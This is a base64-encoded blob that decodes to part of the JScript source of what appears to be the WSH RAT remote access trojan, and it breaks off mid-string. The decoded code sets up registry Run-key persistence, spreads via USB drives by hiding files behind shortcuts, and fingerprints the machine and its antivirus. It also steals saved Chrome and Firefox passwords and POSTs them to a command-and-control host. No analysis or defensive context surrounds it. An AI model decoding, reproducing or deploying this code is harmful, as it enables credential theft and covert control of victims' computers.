IHNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7Cn1jYXRjaChlaSl7fQp0cnl7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOwpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSAsdHJ1ZSk7Cn1jYXRjaChlZWope30KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpewp2YXIgZHJpdmUgPSBkcmkuaXRlbSgpOwppZiAoZHJpdmUuaXNyZWFkeSA9PSB0cnVlKXsKaWYgKGRyaXZlLmZyZWVzcGFjZSA+IDAgKXsKaWYgKGRyaXZlLmRyaXZldHlwZSA9PSAxICl7Cglmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aCArICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgICAgICB2YXIgZmlsZSA9IGZpLml0ZW0oKTsKCQkgdHJ5ewogICAgICAgICBpZiAoZmlsZS5uYW1lLmluZGV4T2YoIi4iKSl7CiAgICAgICAgICAgICBpZiAoKGZpbGUubmFtZS5zcGxpdCgiLiIpW2ZpbGUubmFtZS5zcGxpdCgiLiIpLmxlbmd0aCAtIDFdKS50b0xvd2VyQ2FzZSgpICE9ICJsbmsiKXsKICAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAwOwogICAgICAgICAgICAgICAgIGlmIChmaWxlLm5hbWUudG9VcHBlckNhc2UoKSAhPSBpbnN0YWxsbmFtZS50b1VwcGVyQ2FzZSgpKXsKICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsKICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKyAiXFwiICsgZmlsZW5hbWVbMF0gKyAiLmxuayIgKTsKICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGRyaXZlLnBhdGggKyAiXFwiICsgZmlsZS5uYW1lKTsKICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUgKGZpbGUucGF0aCk7CiAgICAgICAgICAgICB9CiAgICAgICAgIH0KCQkgfWNhdGNoKGV4KXt9CiAgICAgfQoJIGZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldGZvbGRlcihkcml2ZS5wYXRoICsgIlxcIikuc3ViRm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgZm9sZGVyID0gZmkuaXRlbSgpOwogICAgICAgICBmb2xkZXIuYXR0cmlidXRlcyA9IDA7CiAgICAgfQp9Cn0KfQp9Cn1jYXRjaChlcnIpe30KV1NjcmlwdC5xdWl0KCk7Cn0KCmZ1bmN0aW9uIHBvc3QgKGNtZCAscGFyYW0pewp0cnl7Cmh0dHBvYmoub3BlbigicG9zdCIsImh0dHA6Ly8iICsgaG9zdCArICI6IiArIHBvcnQgKyIvIiArIGNtZCwgZmFsc2UpOwpodHRwb2JqLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IixpbmZvcm1hdGlvbigpKTsKaHR0cG9iai5zZW5kKHBhcmFtKTsKcmV0dXJuIGh0dHBvYmoucmVzcG9uc2VUZXh0Owp9Y2F0Y2goZXJyKXsKCXJldHVybiAiIjsKfQp9CgpmdW5jdGlvbiBpbmZvcm1hdGlvbigpewp0cnl7CmlmIChpbmYgPT0gIiIpewogICAgaW5mID0gaHdpZCgpICsgc3BsaXRlcjsKICAgIGluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsKICAgIGluZiA9IGluZiAgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKSArIHNwbGl0ZXI7CgogICAgdmFyIHJvb3QgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwogICAgdmFyIG9zID0gcm9vdC5FeGVjUXVlcnkgKCJzZWxlY3QgKiBmcm9tIHdpbjMyX29wZXJhdGluZ3N5c3RlbSIpOwogICAKCWZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihvcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsKCQl2YXIgb3NpbmZvID0gZmkuaXRlbSgpOwogICAgICAgaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOyAgCiAgICAgICBicmVhazsKICAgIH0KICAgIGluZiA9IGluZiArICJwbHVzIiArIHNwbGl0ZXI7CiAgICBpbmYgPSBpbmYgKyBzZWN1cml0eSgpICsgc3BsaXRlcjsKICAgIGluZiA9IGluZiArIHVzYnNwcmVhZGluZzsKICAgIGluZiA9ICJXU0hSQVQiICsgc3BsaXRlciArIGluZiArIHNwbGl0ZXIgKyAiSmF2YVNjcmlwdC12MS42IiA7CiAgICByZXR1cm4gaW5mOwp9ZWxzZXsKICAgIHJldHVybiBpbmY7Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHVwc3RhcnQgKCl7CnRyeXsKdHJ5ewogICAgc2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfQ1VSUkVOVF9VU0VSXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSwgICJ3c2NyaXB0LmV4ZSAvL0IgXCIiICsgaW5zdGFsbGRpciArIGluc3RhbGxuYW1lICsgIlwiIiAsICJSRUdfU1oiKTsKICAgIHNoZWxsb2JqLlJlZ1dyaXRlKCJIS0VZX0xPQ0FMX01BQ0hJTkVcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdLCAgIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKyAiXCIiICwgIlJFR19TWiIpOwp9Y2F0Y2goZWkpe30KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lLCBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUsIHRydWUpOwpmaWxlc3lzdGVtb2JqLmNvcHlGaWxlKFdTY3JpcHQuc2NyaXB0RnVsbE5hbWUsIHN0YXJ0dXAgKyBpbnN0YWxsbmFtZSwgdHJ1ZSk7Cn1jYXRjaChlcnIpe30KfQoKCmZ1bmN0aW9uIGh3aWQoKXsKdHJ5ewp2YXIgcm9vdCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7CnZhciBkaXNrcyA9IHJvb3QuRXhlY1F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpOwpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZGlza3MpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7CnZhciBkaXNrID0gZmkuaXRlbSgpOwogICAgaWYgKGRpc2sudm9sdW1lU2VyaWFsTnVtYmVyICE9ICIiKXsKICAgICAgICByZXR1cm4gZGlzay52b2x1bWVTZXJpYWxOdW1iZXI7CiAgICAgICAgYnJlYWs7CiAgICB9Cn0KfWNhdGNoKGVycil7CglyZXR1cm4gIiI7Cn0KfQoKCmZ1bmN0aW9uIHNlY3VyaXR5KCl7CnRyeXsKdmFyIG9iandtaXNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcXFwuXFxyb290XFxjaW12MiIpOwp2YXIgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iLG51bGwsNDgpOwoKdmFyIHZlcnNpb25zdHIsIG9zdmVyc2lvbjsKZm9yKHZhciBmaSA9IG5ldyBFbnVtZXJhdG9yKGNvbGl0ZW1zKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpewogICAgdmFyIG9iaml0ZW0gPSBmaS5pdGVtKCk7CiAgICB2ZXJzaW9uc3RyID0gb2JqaXRlbS52ZXJzaW9uLnRvU3RyaW5nKCkuc3BsaXQoIi4iKTsKfQoKLy92ZXJzaW9uc3RyID0gY29saXRlbXMudmVyc2lvbi5zcGxpdCgiLiIpOwpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyWzBdICsgIi4iOwpmb3IgKHZhciB4ID0gMTsgeCA8IHZlcnNpb25zdHIubGVuZ3RoOyB4KyspewoJIG9zdmVyc2lvbiA9IG9zdmVyc2lvbiArIHZlcnNpb25zdHJbMF07Cn0KCm9zdmVyc2lvbiA9IGV2YWwob3N2ZXJzaW9uKTsKdmFyIHNjOwppZiAob3N2ZXJzaW9uID4gNil7IHNjID0gInNlY3VyaXR5Y2VudGVyMiI7IH1lbHNleyBzYyA9ICJzZWN1cml0eWNlbnRlciI7fQoKdmFyIG9ianNlY3VyaXR5Y2VudGVyID0gR2V0T2JqZWN0KCJ3aW5tZ210czpcXFxcbG9jYWxob3N0XFxyb290XFwiICsgc2MpOwp2YXIgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuRXhlY1F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCAid3FsIiwgMCk7CnZhciBzZWN1ID0gIiI7CmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xhbnRpdmlydXMpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7Cgl2YXIgb2JqYW50aXZpcnVzID0gZmkuaXRlbSgpOwogICAgc2VjdSA9IHNlY3UgICsgb2JqYW50aXZpcnVzLmRpc3BsYXlOYW1lICsgIiAuIjsKfQppZihzZWN1ID09ICIiKXtzZWN1ID0gIm5hbi1hdiI7fQpyZXR1cm4gc2VjdTsKfWNhdGNoKGVycil7fQp9CmZ1bmN0aW9uIGdldERhdGUoKXsKICAgIHZhciBzID0gIiI7CiAgICB2YXIgZCA9IG5ldyBEYXRlKCk7ICAgICAgICAgICAgICAKICAgIHMgKz0gZC5nZXREYXRlKCkgKyAiLyI7ICAgICAgICAgIAogICAgcyArPSAoZC5nZXRNb250aCgpICsgMSkgKyAiLyI7IAogICAgcyArPSBkLmdldFllYXIoKTsKICAgIHJldHVybiBzOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfQpmdW5jdGlvbiBpbnN0YW5jZSgpewp0cnl7CnRyeXsKdXNic3ByZWFkaW5nID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gKyAiXFwiKTsKfWNhdGNoKGVlZSl7fQppZih1c2JzcHJlYWRpbmcgPT0gIiIpewogICBpZiAoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS5zdWJzdHIoMSkudG9Mb3dlckNhc2UoKSA9PSAiOlxcIiArICBpbnN0YWxsbmFtZS50b0xvd2VyQ2FzZSgpKXsKICAgICAgdXNic3ByZWFkaW5nID0gInRydWUgLSAiICsgZ2V0RGF0ZSgpOwogICAgICB0cnl7c2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogICAgfWVsc2V7CiAgICAgIHVzYnNwcmVhZGluZyA9ICJmYWxzZSAtICIgKyBnZXREYXRlKCk7CiAgICAgIHRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIiArIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gICsgIlxcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiIpO31jYXRjaChlZWVlZSl7fQogICAgfQp9Cgp1cHN0YXJ0KCk7Cgp2YXIgc2NyaXB0ZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSk7CnZhciBpbnN0YWxsZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoaW5zdGFsbGRpciArIGluc3RhbGxuYW1lKTsKaWYgKHNjcmlwdGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkgIT0gaW5zdGFsbGZ1bGxuYW1lc2hvcnQuc2hvcnRQYXRoLnRvTG93ZXJDYXNlKCkpeyAKICAgIHNoZWxsb2JqLnJ1bigid3NjcmlwdC5leGUgLy9CIFwiIiArIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZSArICJcIiIpOwogICAgV1NjcmlwdC5xdWl0KCk7IAp9Cm9uZW9uY2UgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgLDgsIGZhbHNlKTsKCn1jYXRjaChlcnIpewogICAgV1NjcmlwdC5xdWl0KCk7Cn0KfQoKZnVuY3Rpb24gZGVjb2RlX2Jhc2U2NChiYXNlNjRfc3RyaW5nKXsKCXZhciB5aG1fcGVwZSA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTsKCXZhciBzcGlrZSA9IChXU2NyaXB0LkNyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpKS5jcmVhdGVFbGVtZW50KCJ0bXAiKTsKCXNwaWtlLmRhdGFUeXBlID0gImJpbi5iYXNlNjQiOwoJc3Bpa2UudGV4dCA9IGJhc2U2NF9zdHJpbmc7Cgl5aG1fcGVwZS5UeXBlID0gMTsKCXlobV9wZXBlLk9wZW4oKTsKCXlobV9wZXBlLldyaXRlKHNwaWtlLm5vZGVUeXBlZFZhbHVlKTsKCXlobV9wZXBlLlBvc2l0aW9uID0gMDsKCXlobV9wZXBlLlR5cGUgPSAyOwoJeWhtX3BlcGUuQ2hhclNldCA9ICJ1cy1hc2NpaSI7CglyZXR1cm4geWhtX3BlcGUuUmVhZFRleHQoKTsKfQoKZnVuY3Rpb24gZGVjb2RlX3Bhc3MocmV0Y21kKXsKCXRyeXsKCQl2YXIgY29udGVudCwgbnNzLCBjb21tYW5kOwoJCWlmKHJldGNtZCA9PSAibW96aWxsYSIpewoJCQljb21tYW5kID0gImdpdmUtbWUtZmZwdiI7CgkJfWVsc2UgaWYocmV0Y21kID09ICJjaHJvbWUiKXsKCQkJY29tbWFuZCA9ICJnaXZlLW1lLWNocHYiOwoJCX0KCQl2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIik7CgkJb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCAiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydCArIi8iICsgY29tbWFuZCwgZmFsc2UpOwoJCW9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJ1c2VyLWFnZW50OiIsIGluZm9ybWF0aW9uKCkpOwoJCW9iamh0dHBkb3dubG9hZC5zZW5kKCIiKTsKCgkJaWYoZmlsZXN5c3RlbW9iai5maWxlRXhpc3RzKGluc3RhbGxkaXIgKyAicnVuZGxsIikpewoJCQlmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoaW5zdGFsbGRpciArICJydW5kbGwiKTsKCQl9CgkJCgkJaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMjAwKXsKCQkgIHRyeXsKCQkgICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAxOyAKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7CgkJICAgb2Jqc3RyZWFtZG93bmxvYWQuUG9zaXRpb24gPSAwOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPSAyOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkLkNoYXJTZXQgPSAidXMtYXNjaWkiOwoJCSAgIGNvbnRlbnQgPSBvYmpzdHJlYW1kb3dubG9hZC5SZWFkVGV4dCgpOwoJCSAgIG5zcyA9IHNka3BhdGggKyAiXFxuc3MiOwoJCSAgIGNvbnRlbnQgPSBjb250ZW50LnJlcGxhY2UobmV3IFJlZ0V4cCgiJW5zcyUiLCAiZyIpLCBuc3MpOyAvL2ZvciBmaXJlZm94CgkJICAgY29udGVudCA9IGNvbnRlbnQucmVwbGFjZShuZXcgUmVnRXhwKCIlcGF0aCUiLCAiZyIpLCBpbnN0YWxsZGlyICsgIkxvZ2luIERhdGEiKTsgLy9mb3IgY2hyb21lCgkJICAgdmFyIHN3ID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoaW5zdGFsbGRpciArICJydW5kbGwiLCAyLCB0cnVlKTsKCQkgICBzdy53cml0ZShjb250ZW50KTsKCQkgICBzdy5jbG9zZSgpOwoJCSAgIHN3ID0gbnVsbDsKCQkgICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwoJCSAgIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQkgIH1jYXRjaChleil7fQoJCX0KCQkKCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJSAvYyBjZCBcIiIgKyBzZGtwYXRoICsgIlwiICYmICIgKyBnc3Aoc2RrZmlsZSkgKyAiICIgKyBnc3AoaW5zdGFsbGRpciArICJydW5kbGwiKSArICIgPiBcIiIgKyBpbnN0YWxsZGlyICsgIndzaG91dFwiIiwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgyMDAwKTsKCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShpbnN0YWxsZGlyICsgIndzaG91dCIpOwoJCWNvbnRlbnQgPSBzci5yZWFkYWxsKCk7CgkJc3IuY2xvc2UoKTsKCQlzciA9IG51bGw7CgkJCgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyAicnVuZGxsIik7CgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyAid3Nob3V0Iik7CgkJCgkJcG9zdChyZXRjbWQsIGNvbnRlbnQpOwoJfWNhdGNoKGVycil7Cgl9Cn0KCmZ1bmN0aW9uIGNocihjb2RlKXsKCXJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvZGUpOwp9CgpmdW5jdGlvbiBnc3AocGF0aCl7CglyZXR1cm4gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpLnNob3J0UGF0aDsKfQoKZnVuY3Rpb24gcGFzc2dyYWJiZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpewp0cnl7Cgl2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKCXZhciBjb250ZW50LCBwcm9maWxlLCBmb2xkZXI7CgoJaWYgKHJldGNtZCA9PSAiaWUiKXsKCQljb250ZW50ID0gZGVjb2RlX2Jhc2U2NChmaWxldXJsKTsKCQlldmFsKGNvbnRlbnQpOwoJCXJldHVybjsKCX1lbHNlIGlmKHJldGNtZCA9PSAiY2hyb21lIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIldGVtcCUiKTsKCQlmb2xkZXIgPSBmb2xkZXIuc3Vic3RyKDAsIGZvbGRlci50b0xvd2VyQ2FzZSgpLmluZGV4T2YoInRlbXAiKSkgKyAiR29vZ2xlXFxDaHJvbWVcXFVzZXIgRGF0YVxcRGVmYXVsdFxcTG9naW4gRGF0YSI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoZm9sZGVyKSApewoJCQlvYmpmc29kb3dubG9hZC5jb3B5RmlsZShmb2xkZXIsIGluc3RhbGxkaXIgKyAiTG9naW4gRGF0YSIsIHRydWUpOwoJCQkKCQkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc2RrZmlsZSkpewoJCQkJLy8ncHJvY2VlZCBkZWNvZGluZwoJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCW9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoaW5zdGFsbGRpciArICJMb2dpbiBEYXRhIik7CgkJCX1lbHNlewoJCQkJLy8ncmVxdWVzdCBmb3Igc2RrCgkJCQlwb3N0KCJzaG93LXRvYXN0IiwgIldTSCBTZGsgZm9yIHBhc3N3b3JkIHJlY292ZXJ5IG5vdCBmb3VuZCwgWW91IGNhbiBpbnN0YWxsIHRoaXMgU0RLIGZyb20gdGhlIHBhc3N3b3JkIHJlY292ZXJ5IG1lbnUiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2UgaWYocmV0Y21kID09ICJtb3ppbGxhIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlYXBwZGF0YSUiKSArICJcXE1vemlsbGFcXEZpcmVmb3hcXCI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMgKGZvbGRlciArICJwcm9maWxlcy5pbmkiKSl7CgkJCWNvbnRlbnQgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShmb2xkZXIgKyAicHJvZmlsZXMuaW5pIikucmVhZGFsbCgpOwoJCQlpZiAoY29udGVudC5pbmRleE9mKCJQYXRoPSIpID4gMCkgewoJCQkJY29udGVudCA9IGNvbnRlbnQuc3Vic3RyKGNvbnRlbnQuaW5kZXhPZigiUGF0aD0iKSArIDUpOwoJCQkJY29udGVudCA9IGNvbnRlbnQuc3Vic3RyKDAsIGNvbnRlbnQuaW5kZXhPZigiXHJcbiIpKTsKCQkJCXByb2ZpbGUgPSAoZm9sZGVyICsgY29udGVudCkucmVwbGFjZShuZXcgUmVnRXhwKCIvIiwgImciKSwgIlxcIik7CgkJCQlmb2xkZXIgPSBwcm9maWxlICsgIlxsb2dpbnMuanNvbiI7CgkJCQkKCQkJCWlmIChvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNka2ZpbGUpKXsKCQkJCQkvLydwcm9jZWVkIGRlY29kaW5nCgkJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCX1lbHNlewoJCQkJCS8vJ3JlcXVlc3QgZm9yIHNkawoJCQkJCXBvc3QoInNob3ctdG9hc3QiLCAiV1NIIFNkayBmb3IgcGFzc3dvcmQgcmVjb3Zlcnkgbm90IGZvdW5kLCBZb3UgY2FuIGluc3RhbGwgdGhpcyBTREsgZnJvbSB0aGUgcGFzc3dvcmQgcmVjb3ZlcnkgbWVudSIpOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCXBvc3QocmV0Y21kLCAiTm8gUGFzc3dvcmQgRm91bmQiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2V7CgkJcGFzc2dyYWJiZXIyKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpOwoJfQp9Y2F0Y2goZXJyKXt9CgkgICAKfQoKZnVuY3Rpb24gVW5aaXAoemlwZmlsZSwgRXh0cmFjdFRvKXsKaWYoZmlsZXN5c3RlbW9iai5HZXRFeHRlbnNpb25OYW1lKHppcGZpbGUpID09ICJ6aXAiKXsKaWYoIWZpbGVzeXN0ZW1vYmouRm9sZGVyRXhpc3RzKEV4dHJhY3RUbykpewpmaWxlc3lzdGVtb2JqLkNyZWF0ZUZvbGRlcihFeHRyYWN0VG8pOwp9CnZhciBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwp2YXIgZGVzdGluYXRpb24gPSBvYmpTaGVsbC5OYW1lU3BhY2UoRXh0cmFjdFRvKTsKdmFyIHppcF9jb250ZW50ID0gb2JqU2hlbGwuTmFtZVNwYWNlKHppcGZpbGUpLkl0ZW1zKCk7ICAgCmZvcihpID0gMDsgaSA8IHppcF9jb250ZW50LkNvdW50OyBpKyspewppZihmaWxlc3lzdGVtb2JqLkZpbGVFeGlzdHMoZmlsZXN5c3RlbW9iai5CdWlsZHBhdGgoRXh0cmFjdFRvLHppcF9jb250ZW50Lml0ZW0oaSkubmFtZSkrIi4iK2ZpbGVzeXN0ZW1vYmouZ2V0RXh0ZW5zaW9uTmFtZSh6aXBfY29udGVudC5pdGVtKGkpLnBhdGgpKSl7CmZpbGVzeXN0ZW1vYmouRGVsZXRlRmlsZShmaWxlc3lzdGVtb2JqLkJ1aWxkcGF0aChFeHRyYWN0VG8semlwX2NvbnRlbnQuaXRlbShpKS5uYW1lKSsiLiIrZmlsZXN5c3RlbW9iai5nZXRFeHRlbnNpb25OYW1lKHppcF9jb250ZW50Lml0ZW0oaSkucGF0aCkpOwp9CmRlc3RpbmF0aW9uLmNvcHlIZXJlKHppcF9jb250ZW50Lml0ZW0oaSksIDIwKTsKfQp9Cn0KCmZ1bmN0aW9uIHBhc3NncmFiYmVyMihmaWxldXJsLCBmaWxlbmFtZSwgcmV0Y21kKXsKCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTSAiICsgZmlsZW5hbWUsIDAsIHRydWUpOwp0cnl7ZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyBmaWxlbmFtZSArICJkYXRhIik7fWNhdGNoKGV5KXt9CnZhciBjb25maWdfZmlsZSA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZS5zdWJzdHIoMCwgZmlsZW5hbWUubGFzdEluZGV4T2YoIi4iKSkgKyAiLmNmZyI7CnZhciBjZmcgPSAiW0dlbmVyYWxdXG5TaG93R3JpZExpbmVzPTBcblNhdmVGaWx0ZXJJbmRleD0wXG5TaG93SW5mb1RpcD0xXG5Vc2VQcm9maWxlRm9sZGVyPTBcblByb2ZpbGVGb2xkZXI9XG5NYXJrT2RkRXZlblJvd3M9MFxuV2luUG9zPTJDIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAxIDAwIDAwIDAwIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDgwIDAyIDAwIDAwIEUwIDAxIDAwIDAwXG5Db2x1bW5zPUZBIDAwIDAwIDAwIEZBIDAwIDAxIDAwIDZFIDAwIDAyIDAwIDZFIDAwIDAzIDAwIDc4IDAwIDA0IDAwIDc4IDAwIDA1IDAwIDc4IDAwIDA2IDAwIDY0IDAwIDA3IDAwIEZBIDAwIDA4IDAwXG5Tb3J0PTAiOwovL3dyaXRlIGNvbmZpZwp2YXIgd3JpdGVyID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoY29uZmlnX2ZpbGUsIDIsIHRydWUpOwp3cml0ZXIud3JpdGVMaW5lKGNmZyk7CndyaXRlci5jbG9zZSgpOwp3cml0ZXIgPSBudWxsOwoJICAgCnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0byA9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc